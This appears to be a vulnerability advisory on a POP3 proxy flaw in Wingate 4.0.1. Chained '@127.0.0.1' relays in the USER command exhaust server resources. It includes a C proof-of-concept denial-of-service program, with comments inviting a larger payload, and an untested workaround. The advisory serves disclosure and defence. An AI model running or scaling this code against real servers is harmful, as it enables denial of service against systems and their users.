COMMAND

    Wingate

SYSTEMS AFFECTED

    Wingate 4.0.1

PROBLEM

    Gregory Duchemin found following.   He downloaded a trial  version
    of Wingate  proxy server  4.0.1 and  installed it  on a win98 box.
    While  playing  arround  with  the  pop3  proxy  feature,  He  has
    discovered that the software allows pop3 address encapsulation  in
    the USER  command.   Proxying is  not a  native capability of POP3
    protocol, to do that, wingate need a special crafted login  string
    in the following  format:  USER  login@host.domain where login  is
    the owner of the pop3 account and host.domain, the address of  the
    real pop3  server to  forward the  request to.   The "PASS"  field
    doesn't change.

    If someone submit a USER command like this:

        USER login@host.domain@127.0.0.1@127.0.0.1
        PASS what3ver_u_want

    it should be  accepted and the  managment console whill  show up 2
    more active connections. It seems  there are no limitation on  the
    size of the login and so on the number of proxy relays we can  use
    leading in a potential ressource starvation DOS (memory, cpu usage
    etc...).

    Attached is a piece of code that explains itself in the  header...
    It's just  a smoll  POC and  only opens  about 8  or so  excessive
    connections...  edit yourself  for higher payload... this  is just
    a demo...

    /*
       This is a proof of concept code written for the Wingate Proxy server. Original
       idea by Gregory Duchemin and emplemented by Cyber_Bob. Tested against Wingate
       Proxy Server 4.0.1 on Windows 98. This code was thrown together in about 5
       minutes so if it's sloppy that's probably why.
    */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/errno.h>
    
    char tmp1[]="@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1";
    char tmp[920], userloop[1000], pass[]="PASS whatever";
    int sock;
    struct sockaddr_in sa;
    struct hostent *hp;
    
    int main(int argc, char *argv[]){
	    if(argc<2){
		    printf("Usage: %s <host>\n", argv[0]);
		    exit(-1);
	    }
	    if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL){
		    perror("Exiting, failed to resolve host...");
		    exit(-1);
	    }
	    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
		    perror("Exiting, could not open socket...");
		    exit(-1);
	    }
	    sa.sin_family=AF_INET;
	    sa.sin_port=htons(23);
	    memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
	    if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0){
		    perror("Exiting, could not connect to host...");
		    exit(-1);
	    }
	    printf("Preparing to DoS wingate on \"%s\"... ", argv[1]);
	    fflush(stdout);
	    fflush(stdin);
	    printf("Done.\n");
	    printf("Enter valid \"username@forwarding_server\": ");
	    scanf("%s", &tmp);
	    strcat(tmp, tmp1);
	    strcpy(userloop, tmp);
	    printf("\nSending relay loop strings... ");
	    write(sock,&userloop,150);
	    usleep(10000);
	    write(sock,&pass,sizeof(pass));
	    usleep(10000);
	    printf("Done.\n");
	    return 0;
    }

SOLUTION

    This sounds like it could be worked around.  In older versions  of
    Wingate, it was possible to bind a service to a specific interface
    and  applying  policies  based  on  source  IPs,  so  it should be
    possible to work around the problem by:

    1.  Binding only the  interface which will accept the  connections
        from the clients (normally on the inside of the firewall).
    2.  Setting a  policy which  denies connections  from any  of  the
        machine's local  IP addresses  (preventing this  sort of relay
        loop).

    Note that workaround was not tested.